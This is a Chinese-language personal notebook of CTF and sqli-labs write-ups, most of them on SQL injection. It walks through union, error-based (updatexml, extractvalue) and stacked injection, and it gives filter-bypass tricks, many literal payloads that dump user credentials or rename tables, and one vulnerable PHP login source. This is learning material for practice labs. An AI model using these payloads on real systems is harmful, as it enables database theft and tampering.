web学习记录

web

好文

https://blog.csdn.net/weixin_44604541/article/details/110149949?ops_request_misc=&request_id=&biz_id=102&utm_term=PHP%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-7-110149949.142v63pc_rank_34_queryrelevant25,201v3control,213v2t3_control1&spm=1018.2226.3001.4187

UNCTF----- ezgame-浙江师范大学

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-veoaoxf9-1669777517482)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782834001.png)]

游戏题,杀死boss就可以得flag

但是他的js文件我们是可以直接在调试器里面看到的

所以我们可以直接找到boss死后的源代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ANScEp4f-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782903252.png)]

放到控制台跑

可以出flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OSCi0tDb-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668782923517.png)]

sqli-labs

less1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lcKYusUu-1669777517483)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971395784.png)]

先查看是否有回显,是有的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-daQk2XlW-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971444990.png)]

用?id=1’查看闭合方式,出现报错,表明是单引号闭合

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nLsOjn4m-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971535379.png)]

好像过滤了#,不影响,用–+代替

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZBu0Abm-1669777517484)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971564333.png)]

?id=1’ order by 3–+

没问题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u4Sydpba-1669777517485)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971600924.png)]

、列里面没有4,证明就三个位置字段

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CdW2lxlu-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971657161.png)]

2,3为回显位

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b9RqXsnf-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971684083.png)]

数据库可以爆出来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sBGXHIGq-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971774157.png)]

查查数据库里面有什么表

?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

爆出来了

我们需要查看user表里面的账号和密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4aKJcSTt-1669777517486)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664971888090.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fjXwgy42-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664972029871.png)]

?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+

里面有两个列叫username和password

那么我们就可以看看里面的账号和密码了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-59WtPNsq-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664972128141.png)]

?id=-1’ union select 1,group_concat(username),group_concat(password) from users–+

完美

####less2

这关主要和上关的区别就是闭合方式不同,有两种方式可以判断闭合方式,一种是看报错,怎么看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d6HLtZo4-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664973696442.png)]

看我写了一个’-1,除去最外面的‘’,再减去我们的输入就是他的闭合方式。

或者用字符型或者数字型注入来判断,如果是数字型就可以不用判断,不需要判断,如果是字符型就需要判断

怎么判断,就是你输入几个字母就可以

less3

还是学习一个闭合方式‘)记住就是看右边的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gzp5Yi9v-1669777517487)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664974946772.png)]

less4

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1rQJbg4A-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664977114021.png)]

难度就是

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cZhQQ9ZS-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1664977130632.png)]

你得用""包裹变成字符型才可以得到报错然后判断闭合

less5

报错注入,看error

sql

攻防世界----inget

就是一个万能密码的使用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-clOkCWiB-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663756933035.png)]

[SWPUCTF 2021 新生赛]easy_sql

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-myDEAhOx-1669777517488)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516408950.png)]

网页的title提醒了参数是wllm,其实就是id的名字是wllm,就用get传参?wllm=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rE3y6ad7-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516477269.png)]

出现了这样的一个页面,然后就是开始sql注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7LLOZaaL-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516537225.png)]

传参了?wllm=1’出现了报错看着这个报错发现是单引号闭合,为什么呢?因为本来没打引号是对的,因为它数据库里面本来就有一个引号,再加一个引号就多了一个所以就会错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W1o0uUNj-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516631518.png)]

就试一试嘛,发现可以,就这么用然后用order by 开始看看有几列的数据库表,这里#被过滤了,不信可以试试,我是没有回显的。所以这里要用–+来替代。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3uMv3SoS-1669777517489)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516937278.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QQGRbZqa-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663516949736.png)]

很明显了只有3列。

用联合查询看看回显点,哪里可以sql注入也就是union select

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DCWn1e8W-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517043438.png)]

回显点,也就是回显的列是2,3.

接下来看看可不可以查到数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvarSTeF-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517109627.png)]

在2,3这两个点随便找一个用database ()去sql注入爆出数据库。

得到了他的数据库名字叫test_db

然后就是看看这个数据库的表叫什么

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XUoaXYZ-1669777517490)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517393143.png)]

用 group_concat(table_name) from information-schema.tables where table_schema='table_db’这个命令

information_schema.tables是数据库里面自带的查询表

查到了表名叫users和test_tb。

现在我们已经看到了对方的数据库里面很核心的内容了,其实到数据库就已经可以了,在现实的挖漏洞的时候到数据库名就可以了,但是我们现在要的是flag所以我们要跟进一步,看看它表里面有什么东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X2hYrftp-1669777517491)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517778157.png)]

这里用group_concat(column_name) from information_schema.columns where table_name=''来查询,users里面有这些数据,这里就存这所有的用户数据,但是没有flag所以我们看看test_tb里面有什么。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mzz9n3Br-1669777517491)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663517915511.png)]

哦,flag欧克,看看它

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wLeeWCF6-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663518004123.png)]

用group_concat(字段名) from 表名 可以直接看内容,这就是一个标准的sql注入

攻防世界----supersqli

先用万能钥匙 1’ or 1=1 #测一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h7nlhNnw-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950346396.png)]

有回显是对的

看看列数罗, 1 order by 2 #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6aKA2NHK-1669777517497)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950404429.png)]

1’ order by 3 #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cLjYLojE-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950454363.png)]

那就是两列罗

union select 查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ttsG3P2h-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950493256.png)]

几把,黑名单,select给我过滤了,难办

学了一手堆叠注入

-1’;show databases;#

这个查数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFy6CdwB-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950652914.png)]

查到了!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DyTAh0nR-1669777517498)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950717068.png)]

两个表名,试试上面这个查列

1’;use supersqli;show columns from 1919810931114514;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcZGApew-1669777517499)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950870321.png)]

有flag了, select flag from 1919810931114514,但是select被过滤了只要网上冲浪看看大佬们怎么做的 。

们查询word列发现结构大致相同,由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

在用1’ or 1=1#就查出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s30Ct9kL-1669777517499)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1663950932239.png)]

[SWPUCTF 2021 新生赛]error

就是一个报错注入

单引号闭合,可以看源码

http://1.14.71.254:28453/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JHjSBeZj-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665227777863.png)]

出数据库名

然后就是一个套路

http://1.14.71.254:28352/index.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 

查表名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s4VMyn3k-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229585294.png)]

查列名

http://1.14.71.254:28352/index.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="test_tb" limit 1,1),0x7e),1)--+ 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pZmqhjji-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229667490.png)]

查到一半???

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QdrIJ0JD-1669777517500)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665229718238.png)]

结束

[SWPUCTF 2021 新生赛]sql

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FCvpJMn8-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451226274.png)]

杰哥又是你杰哥,这次有了waf过滤

我们试试输入参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ihry4JOf-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451271838.png)]

?wllm=1没有问题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XJW4Bt9t-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451310085.png)]

?wllm=1’报错,发现是单引号闭合

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lVuUG35C-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451362529.png)]

寄了,这里是空格过滤了,注释也过滤了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hmQw41Tu-1669777517501)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451430727.png)]

分别用/**/和%23代替

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QwGqmfMp-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451466936.png)]

查到了共3列

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r2TTpZWu-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451584762.png)]

常规联合查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rVYH5ppm-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451609656.png)]

数据库

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bxk5vEkI-1669777517502)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451716997.png)]

?????

=过滤了用like代替

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zMgvEtl5-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451769296.png)]

列名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-foU9OW1B-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451804199.png)]

字段

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QNGHJ79Z-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451843326.png)]

一部分flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7dzblcR-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1665451877733.png)]

用mid依次爆出

[SUCTF 2019]EasySQL

乱试

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iKDFtYkW-1669777517503)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347709746.png)]

只要是数字都有回显

字符就不行

然后1’没有回显,感觉是带了字符就不太行,也不懂

试了一下万能钥匙

1’ or 1=1#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SXoBsDM4-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347829098.png)]

明显有过滤

是or被过滤了

查查有多少列

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yHr48NtP-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668347921321.png)]

order被过滤了

算了,别想报错注入了

看别人的博客还发现了有人尝试了布尔盲注和时间盲注

布尔盲注想看看数据库名是不是大于1,好吧还是没有用

1 and length(database())>=1#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8fC5kyq6-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348181504.png)]

1 and if(length(database())>=1,1,sleep(5))#

时间盲注的语句发现也是nonono

最后还是尝试堆叠注入

1;show databases#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UvlFwsFI-1669777517504)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348339283.png)]

终于有了回显

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ttdmIEPm-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348404033.png)]

1;show tables#

查查Flag里面的字段

1;show columns from Flag#

查不到寄

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CyTGb02E-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668348508988.png)]

其实我觉得这道题学到这里就差不多了

看别人的wp他们是猜出了源码语句

sql=select.post[‘query’].“||flag from Flag”;(拼接语句)

如果$post[‘query’]的数据为
*,1

sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1

执行payload:*,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N3zlF0Wz-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1668356096608.png)]

得到flag

[极客大挑战 2019]HardSQL

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Q04gwOV-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669114634066.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TXVhz21q-1669777517505)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116392607.png)]

我先判断一下哪个是sql注入的点,应该就是密码框了

就直接开始对密码框进行操作。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iEiscFWu-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116039310.png)]

判断是字符型还是数字型,输入字符串没有报错,那就是字符型

开始判断闭合

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WCXBmqcI-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116104702.png)]

这个就是单引号闭合了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ywS2WeSh-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669116513895.png)]

这个username和password应该是一起被检测的,所以我们也必须用密码框进行注入,然后我用单引号对username进行了闭合,发现报错取消,也就证明了一定是单引号闭合

经过测试,发现union order都被过滤了,然后又有报错,所以不用联合查询,用报错注入

报错注入知识点

https://blog.csdn.net/silence1_/article/details/90812612

先试试extractvalue这个函数

payload:?username=1 &password=1’^extractvalue(1,concat(‘~’,(database())))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o111azre-1669777517506)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669117889119.png)]

出来了库名

继续表名

payload2:?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yoRYpcuY-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118190827.png)]

?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))))%23

一个表,行爆字段

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J7ETzbQV-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118289852.png)]

非常顺利

查信息罗

这里用了括号代替空格

?username=1 &password=1’^extractvalue(1,concat(‘~’,(select(group_concat(password))from(H4rDsq1)where(id)like(1))))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y6Cqi8zb-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118465606.png)]

flag只能看到一部分,因为这个函数默认是左边,我们看看右边

?username=1 &password=1’^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)where(id)like(1))))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MLAeBhwt-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669118585694.png)]

用updatexml函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mePVfRnV-1669777517507)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119077419.png)]

?username=1&password=1’or(updatexml(1,concat(‘‘,database(),’’),1))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-py7vTloE-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119458325.png)]

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ByKTbL9a-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119535835.png)]

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2lNQOtSK-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119582767.png)]

?username=1&password=1’or(updatexml(1,concat(0x7e,(select(group_concat(id,‘‘,username,’’,password))from(H4rDsq1)),0x7e),1))%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cc9PZQGf-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669119613989.png)]

[GXYCTF2019]BabySQli

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h80Dazti-1669777517508)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669253562748.png)]

打开是个输入框,然后抓包嘛,方便输入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62fGIk77-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669253614533.png)]

这里就看到了输入的参数然后还有一个hint

这种全大写的就是base32解密,然后可以再base64解密

可以得到一个后台语句

select * from user where username = '$name'

我可以看到注入点是username

而且是字符型

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7KmN9ASl-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279144284.png)]

order by 查询列,但是这里order 被过滤了,用大小写绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1V1bvvv5-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279220185.png)]

三列

联合查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wght2UVJ-1669777517509)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279714394.png)]

补充一点点联合查询的知识点,就是联合查询如果数据库里面没有查到,就会根据我们的查询区创造一个假的列名。这里我们经过测试发现了2号位是username,3号蔚自然就是password,我们在这里创建一个不存在的密码,再让我们的password去查询就可以得到flag,但是数据库肯定是会有加密的,常见的就是md5,所以我们对我我们的123456进行md5加密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tJqayncP-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279915044.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JDgBkbwe-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669279934190.png)]

类似源码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
 
// 去除转义
if (get_magic_quotes_gpc()) {
   
	function stripslashes_deep($value)
	{
   
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}
 
	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
 
 
if(preg_match("/\(|\)|\=|or/", $name)){
   
	die("do not hack me!");
}
else{
   
	if (!$result) {
   
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
   
		// echo '
';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
   
			if(md5($password) == $arr[2]){
   
				echo $flag;
			}
			else{
   
				die("wrong pass!");
			}
		}
		else{
   
			die("wrong user!");
		}
	}
}
 
?>
[GYCTF2020]Blacklist

黑名单根本不是重点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4pm6Mz7o-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290000443.png)]

和之前的supersqli长得几乎一模一样,fuzz一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ekcLIW7Z-1669777517510)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290126431.png)]

它说的黑名单出现了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j0gGLAsn-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290164401.png)]

这里可以看到有这些被过滤了,order by还可以用,能传统艺能就传统

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bE3i6LVz-1669777517511)(C:%5CUsers%5Cjydddd%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5C1669290223288.png)]

两个字段

